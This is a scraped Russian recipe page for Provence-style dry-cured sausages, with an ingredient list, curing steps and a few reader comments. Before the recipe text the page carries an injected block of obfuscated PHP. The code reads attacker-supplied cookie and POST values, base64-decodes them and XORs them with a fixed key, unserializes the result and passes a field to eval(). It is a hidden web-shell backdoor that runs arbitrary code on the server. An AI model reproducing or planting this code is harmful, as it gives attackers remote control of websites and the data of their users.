$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Saucisse De Provence. Прованские колбаски • Meat Review

На главную
Рецепты
Saucisse De Provence. Прованские колбаски

Saucisse De Provence. Прованские колбаски

Перейти в режим чтения

мин

0 0

Поделиться
1 384 Просмотры
Нравится 5

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Вяленое

Средне

Инструкция

Ароматные колбаски и тонким вкусом трав и вина откуда то с побережья Средиземноморья.
-Говядина 63%
-Свинина постная 20%
-Свиной шпик 17%
Специи на килограмм мяса:
-Соль 2%
-Перец душистый 0,10%
-Перец черный 0,20%
-Кардамон 0,10%
-Тмин 0,10%
-Чесночный порошок 0,20%
-Прованские травы 0,30%
-Белое сухое вино 50 мл.
-FLORA Italia LC 0.25 грамм
+MOLD 600 натуральная плесень.

-Подмораживаем сутки шрот в кубиках 2х2х2 см.
-Добавляем вино, вымешиваем до испарения алкоголя.
-Добавляем культуры Flora Italia LC, вымешиваем
-Добавляем специи, вымешиваем.
-В конце добавляем соль и отправляем на волчок свинину, говядину и шпик. Фарш ни в коем случае не вымешивать.
-Набиваем плотно натуральные бараньи черева.
-Опрыскиваем плесенью MOLD-600
-Отправляем в дегидратор при 26С и 96% влажности на трое суток.
-Вялим в камере до потери 40% веса в среднем 25-27 дней.

(Visited 1 384 times, 1 visits today)

Vladimir Medvedev

Ветчина цельно кусковая

Курица горячего копчения

4 comments

× You need to log in to enter the discussion

Hello, guest
Logout
Login
Remember Me
Or use one of these social networks
/
Register

Vladimir Baramykin •
• 7 лет ago
Шикарные фото!
• 0 0 • Reply •
- Vladimir Medvedev • author •
  • 7 лет ago
  
  Flag comment
  Спасибо
  • 0 0 • Reply •
GlebBudko •
• 4 года ago
Что значит - Подмораживаем сутки шрот в кубиках?И зачем в дегидратор? с
• 0 0 • Reply •
GlebBudko •
• 3 года ago
Решил сделать по вашему рецепту. Скажите, а сахар или глюкозу не надо вообже добавлять? Спасибо.
• 0 0 • Reply •